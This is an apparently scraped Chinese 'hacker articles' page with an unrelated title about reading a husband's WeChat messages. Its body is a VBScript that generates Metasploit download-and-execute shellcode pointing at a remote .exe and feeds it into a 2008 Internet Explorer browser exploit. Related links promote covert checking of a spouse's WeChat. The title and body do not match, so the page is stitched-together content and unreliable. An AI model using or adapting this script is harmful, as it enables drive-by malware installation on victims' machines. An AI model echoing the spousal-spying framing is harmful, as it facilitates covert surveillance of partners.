怎么查看我老公手机上的微信聊天记录 可以查看

访客4年前黑客文章889

'code by lcx On Error Resume NextExeurl = InputBox( "请输入exe的地址:", "输入", "http://www.haiyangtop.net/333.exe" )url="http://www.metasploit.com:55555/PAYLOADS?parent=GLOB%280x25bfa38%29&MODULE=win32_downloadexec&MODE=GENERATE&OPT_URL="&URLEncoding(Exeurl)&"&MaxSize=&BadChars=0x00+&ENCODER=default&ACTION=Generate+Payload" Body = getHTTPPage(url)Set Re = New RegExpRe.Pattern = "(\$shellcode \=[\s\S]+)" Set Matches = Re.Execute(Body)If Matches.Count>0 Then Body = Matches(0).value code=Trim(Replace(Replace(replace(Replace(Replace(Replace(Replace(Body,"$shellcode =",""),Chr(34),""),Chr(13),""),";",""),"",""),Chr(10),""),".","")) function replaceregex(str) set regex=new regExp regex.pattern="\\x(..)\\x(..)"regex.IgnoreCase=true regex.global=true matches=regex.replace(str,"%u$2$1") replaceregex=matches end Function Function getHTTPPage(Path) t = GetBody(Path) getHTTPPage = BytesToBstr(t, "GB2312")End Function Function GetBody(url) On Error Resume Next Set Retrieval = CreateObject("Microsoft.XMLHTTP") With Retrieval .Open "Get", url, False, "", "" .Send GetBody = .ResponseBody End With Set Retrieval = NothingEnd Function Function BytesToBstr(Body, Cset) Dim objstream Set objstream = CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode = 3 objstream.Open objstream.Write Body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close Set objstream = NothingEnd Function Function URLEncoding(vstrIn) strReturn = "" For aaaa = 1 To Len(vstrIn) ThisChr = Mid(vStrIn,aaaa,1) If Abs(Asc(ThisChr)) < &HFF Then strReturn = strReturn & ThisChr Else innerCode = Asc(ThisChr) If innerCode < 0 Then innerCode = innerCode + &H10000 End If Hight8 = (innerCode And &HFF00)\ &HFF Low8 = innerCode And &HFF strReturn = strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8) End If Next URLEncoding = strReturnEnd Function set fso=CreateObject("scripting.filesystemobject")set fileS=fso.opentextfile("a.txt",2,true)fileS.writeline replaceregex(code)'fileS.writeline bodywscript.echo replaceregex(code)files.closeset fso=Nothing wscript.echo Chr(13)&"ok,生成a.txt,请用a.txt里的替换http://milw0rm.com/sploits/2008-iesploit.tar.gz里的shellcode1内容即可"

相关文章

尼康d5200怎么样(尼康d5200和d3400哪个性价比高)

尼康d5200怎么样(尼康d5200和d3400哪个性价比高)

如果你只需要一个简单的答案,那么这是我的选择:撇开价格因素选择D7000,考虑价格在D5200价格稳定之后选择D5200。就我个人看来,如果D5200与D7000的差价在1000元以内,大多数人都...

串口硬盘和并口硬盘(并口硬盘和串口硬盘如何一起用)

串口硬盘和并口硬盘(并口硬盘和串口硬盘如何一起用) 并口硬盘和串口硬盘如何一起用百思特网?前几天公司一台比较旧的电脑硬盘出故障,开机咯咯的响,想加个硬盘做主盘,但发现一个硬盘是串行接口(STAT),...

什么牌子的宝宝奶粉好啊(哪些品牌的奶粉最接

什么牌子的宝宝奶粉好啊(哪些品牌的奶粉最接

寻找最适合的配方奶粉 几乎每隔几天就会有宝妈在问,什么奶粉好,什么奶粉接近母乳,十几年的母婴店经验,不知道有没有一点点发言权? 什么叫好奶粉,我可以一句话告诉您,适合您宝宝的奶粉就是好奶粉。...

怎样关联老婆的微信 查老婆出轨的最好方法

想必很多人都会对对方的微信感到好奇,想要知道对方在和谁联系,或者是每天是不是背着自己在和被人聊微信。特别是结婚之后,发现对方很多行为不对的时候,那么这个时候就更想要知道对方的微信内容,碍于隐私问题,可...

gta5太平洋标准银行黑客(gta太平洋银行黑客攻略)

gta5太平洋标准银行黑客(gta太平洋银行黑客攻略)

本文目录一览: 1、gta5太平洋标准银行骇客怎么入侵 2、gta5太平洋银行怎么过 3、gta5黑客选谁 4、GTA5线上模式太平洋标准差事,黑客打开金库时应该怎么操作? 5、《gt...

65个实用投诉电话(淘宝投诉电话)

如果你是在淘宝网上购物,在你的订单里就有,点击投诉商家的选项,你点击之后,按照页面要求填写相关内容,提交即可,你也。 1、登陆淘宝的会员,输入用户名与密码,登陆淘宝;2、进入淘宝页面中后,选择我的淘宝...